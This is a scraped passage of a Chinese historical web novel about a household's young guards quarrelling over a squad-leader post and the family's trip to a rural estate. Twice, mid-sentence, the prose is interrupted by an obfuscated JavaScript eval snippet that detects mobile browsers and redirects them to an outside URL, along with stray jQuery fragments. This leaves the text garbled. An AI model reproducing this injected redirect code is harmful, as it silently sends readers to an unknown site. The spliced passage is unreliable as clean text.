“凭什么,张望他是输不起吗?”齐贵废了两只胳膊精神却依然亢奋,“那是不是以后比试都不能伤到对手了?” 方三抬起还完好的左手,指着齐贵臭骂:“你也好意思说输赢,不是阿望让你,你小子早输了!” 齐富几乎与方三同时开口,也同样是对着齐贵:“你闭嘴!” 齐贵却没听自家兄长的呵斥,只盯着沈决明:“你们也没说不许我们攻击下面,他自己不戴护裆,那玩意儿就算废了也是他自己该!” 沈决明没说话,三禾想说话,也不知道该说什么,因为齐贵说得其实没错—— 沈常节和沈决明都是从铁官厂走出来的,哪怕小时候学的都是正统的武艺,现在真正打起架来也是不讲武德的。平日也只限制他们自行对练时不许攻击眼睛和后脑,至于下面,沈常节觉得攻击这里很实用,所以有很多招式是针对下盘的,便让他们训练前绑个铁片,以免误伤。 那么脆弱的地方,挨着个铁片哪里能好受,大家训练时便约定成俗地尽量避开这个位置,所以,张望没戴是正常的,若说是活该吧,似乎勉强也是能说得通的。 沈决明看着齐贵,没什么表情地又在地上划了几个字:你是故意的。 这五个字,沈决明写的毫不拖泥带水,显然是认定了。 三禾转述后,忍不住也蹙眉看向齐贵,齐贵抿着唇没应声,但眼睛还是看着沈决明,目光没有丝毫闪躲。 沈决明便又写下一句话,依然是肯定的语气:你对我不满。 三禾诧异,扭头看向齐贵:“你对决明不满?怎么回事?” 沈决明写下第三句话:因为伍长的事? 三禾这次没有第一时间读出来,反而有些沉默地看了一眼齐富。 35.伍长二 三禾这一眼太过意味深长,看得齐富心里一突,齐贵就更加烦躁了,盯着沈决明最新划出来的几个字,不耐烦地问道:“三禾兄,你继续说呀!他写的是什么?” 这时,其他人也都围过来了,连张望都被人搀扶着挪了过来,或看着沈决明,或瞪着齐贵,当然,最多的人还是看向了三禾,大家都挺好奇沈决明最后一句话写了什么。 三禾不由瞄了沈决明一眼,见少年只眉眼沉静地盯着齐贵,三禾喉头上下滚动,对齐贵说道:“决明问你,你今天这样是因为选伍长的事?” 齐富暗道果然,心一下子就沉到了底,不由就想解释:“决明,我们……” 沈决明淡淡看了齐富一眼,齐富愣是没敢再多说一个字,他有种直觉,他只要再说话,沈决明一定会让他后悔。 齐贵也被沈决明看得心底生怯,但他有胸口的气撑着,才听三禾说时,他还有些不自在,但他也是真的不吐不快:“对!我就是不明白,我大兄明明比张望强,凭什么伍长要给张望当?他配吗!” “呵,还是说,谁马屁拍得好,你就选谁?” 哪怕张望脾气再好,也被齐贵的话气得满脸涨红,只是他此时还没完全缓过来,实在不好上前教训。 方三却是个不比齐贵消停的暴脾气,纵使被卸了一只胳膊,此时也不能忍了,上前就要去打齐贵,被旁边的人拼命给拦住了,即使这样,方三还是指着齐贵破口大骂:“你他妈是不是有病?!” 方三有人拦着,沈决明面前可没有,何况在场也没人能拦住他,沈决明两部跨到齐贵面前,用方三刚刚做过的动作,一脚踹向了齐贵胸口。 这次齐富没来得及给弟弟挡下,齐贵自己的手臂也动弹不得,直接被沈决明踹飞了出去! 齐贵仰躺着重重砸在地上,第一时间甚至连气都没喘上来,隔了好一会儿,齐贵才突然发出一声痨病鬼似的吸气声,然后飞扬的尘土中突地响起一阵惊天动地的咳嗽声。 尘土落下,齐贵佝偻着身子跪趴在地,因为手臂不便,只能用头抵着地面勉强支撑住身体,又因为咳嗽不止,鼻涕眼泪和口水不受控制地往外流。那样子,看得旁人都觉得难受,就连方三都是一边觉得解气,一边有些惴惴,沈决明下手太狠了! 齐富跑到齐贵身边,又想察看弟弟的伤势,又怕沈决明继续打齐贵,不由哀求地看向沈决明:“决明……” 沈决明却没有再次上前的意思,而是半蹲下-身,一笔一划地写字:不服可以直接来找我,说服我,或者打服我。 三禾复述了一遍,众人听得一阵沉默:打服,暂时是打不过的,至于说服……说实话,这群人里除了少数两三人,大多都没什么耐心,和沈决明交流,不说说服沈决明,他们自己就能先把自己给急死! 西仓发生的事,虽然因为沈决明的强势干涉,结束得极快,但终究是惊动了石伯。 若许靖在,石伯根本不会搭理这事,偏偏许靖今日出门访友去了,石伯就不好当睁眼瞎。 石伯很是为难,韦家的僮人不许私下斗殴,但这些人是奉命习武,只是一下子伤了两个,这事也不好这样随便混过去。 最重要的是,沈家姊弟因为年纪性别以及出身问题,威信不足,规矩都没立起来,以后不免还得发生类似的事。 石伯是个周全人,考虑过后就觉得不如把这事摊开了,请家主给划出个道道,免得这些天天不是刀就是剑的家伙以后惹出大麻烦,到时候他们的父母伯婶之类的求到他这里,他反而不好办。 ——于是石伯就把这帮人领来了正院。 石伯如此这般,这般如此地将事情始末讲了一遍,其他人就站在石伯身后,其中沈决明、齐富、齐贵和方三则自觉跪在了地上。 帷帐还没撤,韦玄成一家便坐在帷帐下听石伯说话,待石伯话毕,韦玄成开口先问几个受伤的人:“你们的伤怎么样了?要是严重,先去医治,有事之后再说。” 张望几人都面露感激,对着韦玄成或作揖或磕头,嘴上都说着“没事”、“不严重”之类的话。 韦玄成点了点头,继续说:“既然没事,就说说今天的事吧。简而言之,就是沈决明向许先生推荐张望当伍长,齐贵你不服,所以借与张望比拼向沈决明表达不满,对吧?” 面对韦玄成,齐贵有些惶恐,但好不容易见到家主,他总要为他大兄争取一把:“家主,今天奴婢有什么错,奴婢都认罚。但奴婢就是不明白,三禾兄最强,奴婢服气,但奴婢大兄与张望对战,十战六胜,凭什么要选张望?”齐贵快速看沈常节一眼,“连沈常节都说,奴婢大兄实力仅次于三禾兄!” 韦玄成没有直接回应齐贵,而是侧过头,看向韦元茹姊弟三人:“你们说说看。” 韦元茹先问沈常节:“常节,你先说说伍长是怎么回事?” “除了个人武艺,配合也很重要,要配合就要有指挥,许先生让我们选两个伍长出来,我和沈决明推荐了三禾和张望。”沈常节想了想,事情都闹出来了,有些话摊开来说也好,便补充道,“我认为张望和齐富都可以,二人各有长处,也各有不足,决明比较倾向张望,最后便定了张望。” 韦元茹又问沈决明:“沈决明,你认为张望哪方面比齐富合适做伍长?” 沈决明在地上划字,沈常节在旁复述:“张望资质中等,胜在用心,性情稍显绵软,不过他不藏私,武艺方面对其他人都是有问必答,每日也会自觉打扫场地。” 韦元茹拨弄了下手腕的细绳:“听起来是不错的人选,那齐富呢?” 沈决明手指顿了一下才继续划字:“齐富资质中上,训练刻苦,很照顾齐贵,对人也谦和,但他与人切磋时,经常有所顾虑,不肯尽全力。” 沈常节复述完,韦元茹扫过三禾等人的神色,对沈决明说:“你也用心了。”随后,韦元茹便对韦玄成说,“咱们家,论武艺,许叔最强,许叔没有反对沈常节和沈决明的举荐,我不懂武事,自然听懂的人的。” 韦玄成“嗯”了一声,遂看向韦世然:“四郎,你怎么看?” 韦世然先问:“阿翁,三禾他们以后是要做护卫的吧?” “是啊。” “我觉得,武艺高很重要,不然别人会不服的。” 韦玄成扬扬眉:“那你是觉得齐富比张望合适了?” “他们现在还不是护卫,张望可以继续努力。”韦世然挠了挠脸,“要是他一直打不过齐富,也就不怪别人不服他了。” “有些道理。” 韦世然看一眼齐贵,又补充一句:“阿翁,我觉得齐贵对张望做的事不太好,必须要罚,不过他也是为他兄长,可以罚得轻一点。” 韦玄成颔首:“行,我会斟酌的。” 韦玄成最后看向韦仁,韦仁这时候才把视线从跪着的几人的脸上收回来,就韦元茹和韦世然说那几句话的功夫,这些人的脸色变来变去的样子可太好玩儿了。 “五郎,你是怎么想的?” 韦仁看一眼韦玄成,然后对着沈决明说:“沈决明,去把你做的教习日志拿来,有写吧?” 沈决明还真写了,一方面有韦仁的支援,沈决明不缺笔墨竹简使用,一方面沈决明也是受韦仁影响——韦仁记学习笔记、记稻米生长日志,他也就学着记了教习武艺的笔记。 沈决明看一眼韦玄成,见他没有反对,这才从地上爬起来,跑出了正院。 韦玄成让跪着的人也都站起来,众人只等了一小会儿,沈决明就抱了两卷竹简回来。 韦仁从沈决明手里拿过竹简时,示意沈决明看齐贵胸襟前那个脚印子,轻笑着问:“沈决明,你那么喜欢齐贵啊?” 韦仁声音不低,在场的人自然都听到了。大多数人都是莫名其妙,齐贵则是一脸错愕和怀疑,只有沈决明,耳朵已经承受不住涌到大脑的血液,不说整张脸,他连脖子都红透了。 韦仁只随口调侃一句,就扭过头,和韦玄成几人一起看竹简去了。 沈决明的竹简两面都写着字,他当然不可能如韦仁那般每天都记,但竹简上对十个受训人的记录仍是很详尽。 竹简经韦玄成五人传看一遍后,韦仁将竹简递还给沈决明:“拿给三禾看看。” 沈决明心下一动,对韦仁俯了俯身子,把竹简交给了三禾后,沈决明便站到沈常节身边,低头等着主家训话。 韦仁仰着脑袋将站着的人又看了一遍,突然高声吩咐:“你们都把头抬起来,看着我!” 这个命令很是突兀,因为这时候讲究的是位卑者不能直视位高者,三禾等人闻言后,都没敢第一时间照做,而是低着脑袋左右四顾,互相打了几个眼色后,才一个接一个地略显不安地抬起头看向韦仁。 韦仁侧过头看向韦玄成:“阿翁,你看,我说一句话,他们要先犹豫,达成了一致后才肯执行我的要求,还争伍长呢?他们连普通护卫的标准都没达到。” “你们没训练过他们,什么叫‘令行禁止’吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266623|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”韦仁看向沈家姊弟,“不应该呀,许叔出身行伍,应该很重视这个。” 三禾等人的脸被韦仁一句话臊得差点儿滴出血,沈常节和沈决明的脸色也很难看,十二个人顶不住韦仁的奚落,哗啦啦全跪到地上去了。 韦玄成见状,探手轻拍了韦仁后脑勺一记,笑骂道:“你就会说别人,我让你评判齐贵的事,你不也在瞎扯?” 韦仁想了想,再次让所有人都抬头看他,大家这次学乖了,韦仁才要求完,众人就都齐刷刷地看向了韦仁。 韦仁和十人都对过一次眼神后,最终将视线定在齐贵身上:“不说服不服气张望,齐贵你一直说让齐富当伍长,齐贵,你自己就没想过当伍长吗?” 齐贵一愣,脸色爆红:“我,我没……” 韦仁不等齐贵说完,直接打断齐贵的话,看着所有人说:“你们呢?想不想当伍长?” 十人脸色各异,韦仁弯起唇角,指着跪着的十人,与韦玄成说道:“阿翁,我有个主意,除了三禾和张望外,让沈常节和沈常烈再挑两个人出来,之后着重培养这四个人作为伍长的能力和意识,并拟定出详细的考试内容。之后以三个月为一期,进行四次公开考试,最终综合评价最高的两个人升为伍长。” 韦仁想了想,也学习韦玄成给众人画了个饼:“所有人都可以参加考试,谁知道有没有人是沙子底下的金子呢。而且,就算这次落选,以后护卫多了,也可以从中选出色的人提拔上来。” “考试”对于韦玄成几人并不是什么新鲜事,毕竟学馆里也会进行小测,韦玄成几人是亲身经历,赵氏和韦元茹是见惯了,但对于其他人,脑子里却根本没有“考试”的概念。 三禾等人或是若有所思,或是眼露困惑,但有一点可以肯定:五郎君的办法让所有人都有了机会! 韦玄成眼神灿亮,喜爱地摸了摸韦仁的头,这可真是颗聪明的脑袋瓜子呀,说出的话却是:“你可真能折腾。” 韦仁对这话不太满意,双手抓住韦玄成的手,将脑袋从韦玄成的“魔爪”中脱开,摇头晃脑地自我吹捧:“韦家五郎,专治各种不服。” 韦玄成弹了韦仁一个脑瓜蹦儿,忍不住也笑了。 韦玄成看向沈家姊弟:“五郎的法子可行,具体要怎么做,你们去商量个章程出来,写好了先拿给许先生看。” 韦玄成看向另外十个人,略略板起脸孔:“你们不是在韦家长大,也是来韦家很多年了,论资历论年龄,你们都要胜过沈常节和沈决明。但我今天要教你们一句话,‘学无前后,达者为师’,你们既然向他们请教武艺,就要给予他们相应的尊敬,从今天起,你们称呼沈常节和沈决明为‘先生’。” 众人应是。 韦玄成最后看向齐贵:“齐贵,这次的事,念在你多是为了兄长,张望也没有大碍,我只罚你两个月的月钱交给张望做补偿。但今天这样的事,不要再犯,不然下次就不是这样的处置了。” 齐贵和齐富同时跪下向韦玄成磕头:“谢家主宽宥。” 听到这样的判罚,韦仁心下不禁哂笑,不过终是没有说什么。 打发走石伯等人后,一家五口才回到饭厅中用午食,几人不免说起张望和齐贵这个事。 韦玄成问韦仁:“怎么?你觉得我判得轻了?” 韦仁当时就没掩饰神色,被韦玄成看出来他也不意外,见韦玄成问了,韦仁将才舀起来的鱼汤重新放回碗中,答道:“我就是觉得这事很有意思。” “怎么说?” “齐富若不服张望,他自可去找沈决明争辩,哪儿用得着齐贵这个当弟弟的替他出这个头?齐富若服气张望,那就更没有齐贵的事儿了。” 韦元茹跟着点头:“我也有些好奇,这事真是齐贵自己冲动,还是他们兄弟两个私下里说了什么。” 韦世然跟姊弟的思路不在一条线上,有些茫然:“所以,齐富和齐贵到底服不服张望呀?” 韦玄成斜眼看着韦仁:大闺女就不说了,毕竟也这么大了,小的这个心眼儿怎么那么多啊?怪不得一直长不高呢。 赵氏看着自家大儿子:“四郎,我现在与你说了,下次遇到类似的事,你还是不懂,你得自己想,想明白了,以后你就都懂了。” 韦世然看看父母姊弟,心头突然涌起一股淡淡的忧伤。 “好了,也不是什么大事,由着他们自己闹去。”说着,韦玄成看向韦世然,“四郎,下个月你就满十岁了,有什么想要的吗?” 36.伍长三 韦世然被韦玄成一句话瞬间治愈,又惊又喜,连嘴里的鱼肉都没咽下去,就高声说道:“阿翁,我要学骑射!” 韦玄成对韦世然这个要求一点儿也不意外,很干脆地应了:“可以,找个时间让石岩陪你去大许那里挑把弓。” 韦世然急着问:“那马呢?” “这个你得再等等,现在好的马驹难得,我已经拜托你罗伯伯去踅摸了。”韦玄成与韦世然商量,“我这里有两个教你骑射的人选,一个是大许的继子许坚,一个是你罗伯伯的族侄罗夏归,你要哪个?” “我和秦宁双卫询已经说好了,我们一起跟着卫二兄学!”韦世然手舞足蹈地比划,“卫二兄特别厉害,上次有一只野鹊飞过卫询他们家的院子,飞得又高又快,卫二兄‘嗖——’的一箭就把它射下来啦!” 韦玄成噎了一下:“那是很厉害,但他有空闲吗?我记得卫二郎是在县衙做事的。” 这次换韦世然噎住了,想了想才说:“卫二兄休沐时是在家的。” 韦玄成很同情卫二郎,就那么一日的休沐,陪伴妻子还嫌少呢,就被这些臭小子惦记上了。 韦玄成劝道:“你现在还什么都不会,你需要一个能常常指导你的师傅。四郎,你先和徐坚或者罗夏归学好基础,待到需要精进射箭技艺时,你再去请教卫二郎才算是顺理成章。” 韦世然大概真被卫二郎那一箭给迷住了,难得没有立刻顺从韦玄成的意见,有些不乐意地撅了撅嘴。 韦仁举手示意韦世然看自己:“大兄,你们至少得先能射中靶子,卫二兄才好教你如何射鸟。”韦仁指指自己,“你看我连马步都扎不好,若是现在去找许叔教我打虎,我觉得他……不用许叔,阿翁就能把我当虎打了。” 韦世然愣了一下,突然“咯咯咯”地笑起来:“阿翁不会!”是不会打虎还是不会打韦仁,那就见仁见智了。 韦仁也是反应了一下,才发现韦世然说的是双关语,跟着哈哈大笑,引逗得赵氏和韦元茹也笑起来。 韦玄成气得吹胡子,伸手虚点着韦世然:“快选一个,不然就让你看看阿翁会不会打你!” 韦世然过了好一会儿才收住笑,连忙抱着手对韦玄成拜了拜,讨好地说:“阿翁才不会。阿翁,我能先去见见那个罗夏归吗?我总得知道他厉害不厉害呀。” “你这是没相中许坚?” 感觉像是要说许坚的坏话,韦世然有些不好意思:“他太闷了。”忍了忍没忍住,韦世然又补了一句,“我跟他在一块儿特别不自在。” 韦玄成不置可否,转头与赵氏商量:“不若下次休沐时,咱们一家去韦庄住一日,让四郎见见罗夏归,你和二娘也散散心。”再过一个月,赵氏的肚子多半就要显怀,以后就不好到处乱跑了。 赵氏颔首:“若是天气好就过去一趟。听下面的人说,今年雨水怕是不少,正好也看看牛老汉有没有做好安排。”牛老汉就是接替周大亮一家管理韦庄的管事。 韦仁这辈子还没外宿过,对于去新聚韦庄度假还是挺期待的,才回到君子院,他就翻出自己的弹弓交给了沈决明。韦仁踮着脚尖拍着沈决明的肩膀,殷切嘱咐:“沈决明,听说乡下鸟雀多,我能吃到多少麻雀就看你了。” 沈决明:…… 韦仁这想一出是一出的本事简直是专门给身边人找麻烦的,不过比起鸟雀的事,他说的“考试”才是要命。奉命习武的僮人们自然是兴奋了,好几个人暗暗憋着劲儿想争一争伍长的位置,而沈家姊弟为了那个“考试”,却是连头发都快被自己揪秃了! 二人在韦家没有根基,唯一能请教的许靖已经随韦玄成去了鲁县,姊弟商量后,实在无法,只能拿着勉强写出来的考试章程来寻韦仁。 现在男女大防不重,韦仁又是个小屁孩儿,但他每天忙完自己的事也要戌初二刻了,这时候沈常节再进君子院就不合适了。 韦仁干脆领着两个人去了门房,这里是韦宅少数几个会彻夜燃灯的地方,他们不用额外熬油点灯不说,有个独立的封闭空间,总比彻底暴露在室外喂蚊子强。 韦仁看过沈家姊弟写的考试内容后,没有做出任何评判,而是皱眉思索,韦仁右手五根手指无意识地依次敲着案几,半晌后,说的第一句话就是:“我是真不懂武事。” 沈常节心下失望,她本来对向一个垂髫小儿请教就心存疑虑,不过是无人可问,沈决明又提到了韦仁,她才跟来听一听,结果果然如她所想那般。 好在沈常节一向沉得住气,见沈决明眼睛都没眨一下,只静静看着韦仁,似是在等他后面的话,沈常节便也安静等着。 “我只能与你们说一说设置考试内容的技巧。”韦仁竖起食指:“考试的目的是选拔伍长,你们要先明确一个伍长需要有哪些品质。” 沈常节和沈决明对视一眼,沈常节开口答道:“第一,必须对家主忠诚。第二,武艺高强,至少也要是前三位,不然不能服众。第三,遇事时,他要能做出正确的判断。第四,队伍中有矛盾,他要能够调和。第五,他有能力也愿意教习其他人。” 韦仁不置可否,接着说道:“既然有目标了,接下来就是针对目标设置可量化标准的考试内容。” 沈常节轻蹙起眉头,看着韦仁欲言又止。 沈决明与韦仁比较熟悉,直接在案几上划字,问道:五郎君,什么是‘可量化标准的考试内容’? “‘写出十个漂亮的字’和‘写出十个含有日的字’,后面那个要求就是有可量化标准的,因为漂亮没有统一标准,而字里面有没有‘日’是一目了然的。” 韦仁举了个例子:“就拿‘愿意教习’这一点来说,如果是我的话,我可能会让善刀的人去教习令一个用刀、却稍弱一点的人,然后看那个被教习的人在一段时间后是否有进步?能和我……和你们过多少招,是不是原来十招必败,后来能撑到二十招这样,或者他有没有改掉什么坏习惯之类的……我不太懂,你们意会。” 沈常节恍然:“原来可以这样。” 沈常节看一眼沈决明,怪不得沈决明说可以向韦仁请教呢!沈常节又有些羞愧,目光落在摊在韦仁手边的竹简上,恨不能现在就把那几片竹简给烧了。 韦仁注意到沈常节的眼神,笑了笑:“不用在意,都是第一次做,总要慢慢摸索,我觉得你们为三禾他们拟定的第一期考试和第四期考试也会是不一样的。” 沈常节和沈决明都不傻,韦仁的言下之意就是,这个考试不止是为三禾他们做的,也是对他们的考试! 沈常节和沈决明背脊骤紧,沈决明还好一些,他早已经不把韦仁当普通的小郎君看待,沈常节眼睛里的惊愕却是完全掩不住。 韦仁是无所谓沈常节在想什么的,继续说道:“你们可以去找梅先生,他认识不少服过兵役的人,可以请他为你们引荐,你们自有家学,但咱们都太小了,缺少阅历是难免的,听听那些老兵在军中的生活也能增加见 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奈何当日自辰时起就开始下雨,雨倒是不大,但淅淅沥沥得一直没停,直到未正,太阳才露出头。 赵氏十分犹豫是否照计划启程,她担心后面两天还会下雨,那多半得耽误两个儿子上学。 韦元茹也在打退堂鼓,她自己其实无所谓,但雨后道路泥泞,韦元茹比较担心车架颠簸,赵氏坐车不便。 母女二人各有思量,但韦仁和韦世然这两个没见过世面的却没想那么多,二人一到家就奔来了正院,才与赵氏和韦元茹请完安,韦世然已经兴高采烈地招呼:“阿母,咱们现在就出发吧!石岩告诉我雨后会有很多野蕈长出来,我想去采野蕈!” 韦仁举手:“我要钓鱼!大兄和我一起做野蕈鲜鱼汤!” 赵氏和韦元茹相视一笑,虽然各有顾虑,但也不忍浇灭两个小的的热情:“行,你们回去君子院,再检查一遍行囊,若是没问题,咱们两刻钟后就出发。” 韦仁不知道韦世然有没有注意到赵氏和韦元茹的神情,他其实注意到了,不过当时没想明白,也就没在意。 直到走过三分之一的路程,牛车从官道转到小道后,韦仁才参悟赵氏和韦元茹那笑容背后的意味。 韦仁一手扣着车板,一手搂着韦世然的肩膀稳定身体,看着路边上下左右晃动的景色,哆哆嗦嗦地说:“石、岩,你、能、不、能、让、牛、走、得、快、点、儿!” 石岩不敢走神儿,只看着前方大声回应:“五郎君,现在已经很慢了!” 韦世然也难受得不行:“五郎是让你快点儿!” “……啊?” 韦世然很了解韦仁的意思,他也赞同韦仁的话:“反正都这么颠,走快点儿,还能少受会儿罪!” 石岩基本不会反驳韦世然的命令,既然韦世然这样说,石岩一甩绳鞭就开始催促老黄牛。牛也特别听话,四条腿儿快速捣腾,车速一下子就提高了一倍不止,结果下一瞬,石岩就听到身后传来两位小郎君的吱哇乱叫! 韦世然都不顾颠簸了,探手对着石岩的后背就是一顿拍:“停!石岩!让牛慢一点——!” 韦仁抹了一把溅到脸上的泥点子,在心底暗骂:哪个神经病制订的舆担禁制?明明知道车耳是用来挡泥的,还规定六百石以上的官员才能用,难道六百石以下的人就活该吃泥吗?! 37.韦庄行一 车架到达新聚韦庄后,韦仁的小脸儿都是白白的,被石岩抱下车后,最开始走的那几步更是觉得大地在颤抖。 韦世然也没比韦仁强多少,一边揉屁股一边和韦仁一起跑到赵氏和韦元茹身边:“阿母,大姊,你们怎么样?” 赵氏和韦元茹的脸色比韦仁还强些,不过也不是很舒服就是了,这路真是太不好走了。 韦元茹先行踏着脚凳下车,然后反身与阿珀一起将赵氏搀扶下牛车,这才看向两个弟弟没擦干净的脸和衣服,有些嫌弃:“我们都还好,倒是你们俩,这一路净听你们叫唤了。” 赵氏看着自家两个儿子的形容,也是无奈:“让你们慢慢走,就是不听话。”转头看向立在一边的牛老汉,“牛伯,去准备沐浴用的热水。” 牛老汉早已带着韦庄内的大小僮人在旁等候,闻言便上前对赵氏等人长揖行礼:“夫人、女郎君、四郎君、五郎君,房间已经打扫干净,热水也已准备好,随时能够沐浴。” 赵氏颔首,对韦元茹姊弟三人说道:“先沐浴,然后去躺一会儿,或者在庄子里随便逛逛,不要走远,等你们阿翁到了,咱们就用晚食。” 众人散开,韦仁和韦世然由牛老汉的第四子牛实领着,往韦庄给他们准备的房间走去。 韦仁这时候才能好好打量韦庄,怎么说呢,大是真的大,能跑马的那种,但破……不能说破,但也比韦仁想象中的寒酸,最直观的就是,围墙都不是石砖的,而是由黄泥垒成的。 韦世然没在意环境,他以前来过韦庄,只是没在这里过夜过,韦世然如今只关心他的野蕈:“牛实叔,有哪里能采野蕈吗?” “不敢,四郎君叫我牛实就行。”牛实在韦仁和韦世然身边领路,听到韦世然的问题,侧身躬腰答道,“东边那片林子里就有,四郎君若想采野蕈,明日卯时,我陪四郎君过去可好?” “那我明天早点起,我要采满一竹筐!” 韦仁收回四处看的视线,跟着问:“我想钓鱼,哪段河好钓?” 牛实有些为难地看着韦仁:“五郎君,现在是禁渔期……” 韦世然:“什么是禁渔期?” “为了让鱼长大,有段时间不许捕鱼的。”向韦世然解释完,韦仁才看向牛实,“禁渔期不是五月到七月吗?” 韦仁回答韦世然时过于顺溜,说到月份时更加笃定,搞得牛实有些茫然,不过他仔细想了想,再三确认里长就是上个月来说禁渔的事的,便将身子躬得更低了些,恨不能与韦仁平视:“五郎君,不知道其他地方是什么时候,新聚这里的禁渔期就是四月到六月。” 韦仁不死心地嘟哝了一句:“阿母没说呀。”他是真想钓鱼的。 牛实无辜地看着韦仁,也不知道怎么劝慰。 韦世然提议:“五郎,你和我一起去林子里采野蕈吧?等鱼长大了你再去抓它们。” 韦仁鼓了鼓腮帮子:“我起不来。”硬要起应该也行,但韦仁不愿意! 韦世然眼睛一翻,给了弟弟一个评价:“你可真难伺候!” 实际上,韦仁和韦世然都没等到第二天,当日就去了牛实口中的那片树林—— 韦玄成到达韦庄后,全家人一起用了晚食,那时天边还残留一线夕阳。 韦世然吃完饭就缓过了劲儿,在外面过夜的兴奋感一下子上来,他实在不想一直呆在庄子里,但又不愿意一个人出门,就撺掇韦仁和他一起去聚里逛逛。 韦仁拗不过韦世然,而且他也有点儿想去看看他说的那棵两个人也抱不过来的大树长什么样,于是,最后就变成两个人一起去磨韦玄成和赵氏。 韦玄成从鲁县骑马回来,可比两个儿子累得多,他实在不想动,赵氏更不可能在这时候出门,但兄弟二人一个给韦玄成捶腿,一个给赵氏捏肩,夫妻二人实在扛不住儿子们的殷勤大法,最后,韦玄成只得把两个小的托付给许靖:“别人我不放心,你带他们俩随便走走吧。” 赵氏也说:“麻烦许先生。”然后叮嘱韦仁和韦世然,“听许先生的话,别回来太晚。” 许靖觉得韦玄成和赵氏也是宠孩子没边儿,都说不放心了,干脆别让他们出去不就完了,而且这眼瞅着最多再有半个时辰就得天黑,能看什么呀? 韦仁和韦世然可不管许靖的腹诽,听到父母允了,就一人拉着许靖的左手,一人拉着许靖的右手,一起把他拖出了韦庄。 才一出韦庄,韦世然和韦仁就松开了许靖的手,撒了欢儿的小狗一样,一前一后地往韦世然印象里那棵大树跑去。 聚里的路比外面的小道好一些,而且现在地面比早些时候也更干了一些,但韦仁和韦世然跑起来后,仍免不了泥点子飞溅。 不过,泥点子是向后面飞的,遭殃的只有二人的后背以及跟在他们身后的沈决明、石岩和牛实三人,至于许靖,他非常有先见之明地坠在了泥点子飞跃不到的距离。 大树与韦庄的直线距离不到一里,不过因为中间隔了几个院子,韦仁看到它时,二者距离已经不足五丈,那矗立在暮色中的高大树影令韦仁倍感震撼,说什么两人环抱,韦世然说得也太保守了! 韦仁跑到槐树跟前,围着槐树走了一圈儿,又抬手在它粗糙的树干上摩挲了两下:“不知道它几岁了?”韦仁曾经旅游时见过一棵据说有两千年树龄的古槐,再看看这棵年龄看似也不短的槐树,有些亲切,又隐隐生出些怅惘。 韦世然也仰着头看着郁郁葱葱的树冠:“肯定很大了,没准儿比我还大呢。” 跟着过来的牛实同样抬头看着这棵古槐,眼睛里带着隐隐的骄傲:“听聚里的老人说,这树在高祖时就在了。” 韦世然惊讶的睁大眼睛:“那它比阿公还大!”韦世然拉着韦仁的手,“五郎,咱们量量它!” 韦仁和韦世然两个人根本环不住,最后加上沈决明和半个石岩才能完全环抱住这棵古槐。 牛实见韦世然和韦仁很喜欢这棵槐树的样子,笑着说:“两位郎君若两个月后过来,就能看到满树花开,一串一串的白色小花,特别好看,还很香。” 韦仁在心里补充道:全树都能入药,叶子也能吃,嗯,真是棵好树! 韦仁的小手有些蠢蠢欲动,很想薅些叶子下来明天让厨房做冷面吃,不过看了看那巨大的树冠,韦仁手指来回搓了搓,最终按捺住了心底的冲动。 韦世然此时已经回答牛实的话:“它快开花时,你来告诉我们,我们就来看它!” 牛实连忙应道:“是,奴婢一定记得。” 韦仁觉得继续站在这里,他一定会忍不住让沈决明爬上去给他薅些叶子下来,便转过头看向牛实,问道:“聚里还有什么好看的景色吗?” 牛实挠了挠脑袋,憨笑道:“奴婢觉得那些麦苗就特别好看,一大片,绿的,风一吹,特别好看。” 听牛实连用两个“特别好看”,就知道他说得是真心话,韦仁忍不住乐了:“那就去看看?” “咱家的地在南边。”他们之前是往东边走的,现在去韦家的田地,一是要走回头路,二是可能时间上赶不及。 “那算了,本来就是随便看看的,看别人家的也成。”韦仁看向韦世然,“大兄,咱们往前面走走看?” “走!”韦世然指着前方,“我记得新聚的河就在那边。” “四郎君好记性,河就在那边,过了河再走一小段路就是咱们明天要去的林子。” 牛实领路,一行人索性就往河边走去。 新聚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292069|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的夜晚静谧又吵杂,静谧是因为除了他们这群闲逛的人外,只能偶尔从敞开的院门前看到在院子里活动的乡人,路上几乎看不到人了,吵杂是因为缠绵不断的虫鸣以及偶尔响起的犬吠声。 韦世然很快察觉出这种不同于县城的“寂静”,好奇地问:“牛实,他们怎么都不出来玩儿呀?天还没黑呢。” 牛实抬头看看天:“也快了,乡下人睡得早。”牛实随意指了一户人家,“四郎君,你看那些院门已经关上的人家,应该已经睡下了。” 牛实的手都还没放下,他指着的那家隔壁院子的院门就打开了。 一个背着背篓的少年跨出院门后反身关上院门,之后竟还掏出一根绳子将院门从外面栓住。 少年栓完门,才转过身就看到了韦仁这一大群人,被吓了一跳,看到牛实后,少年才松了口气,连忙跑过来打招呼:“牛四叔!” 牛实蹙着眉:“谷大郎,这么晚了,你不睡觉,这是要去哪儿?” 谷元似是有些难以启齿,支支吾吾了半天才含糊地说道:“我去林子里挖点儿吃的。” “挖什么东西要这个时候去?就你一个人,要是遇到野猪或者蛇怎么办?就是没遇见,一会儿天就黑了,也容易摔跤。” “那东西就这时候出来,牛四叔,你放心吧,我、我不往里面去,就在外面一圈儿。” 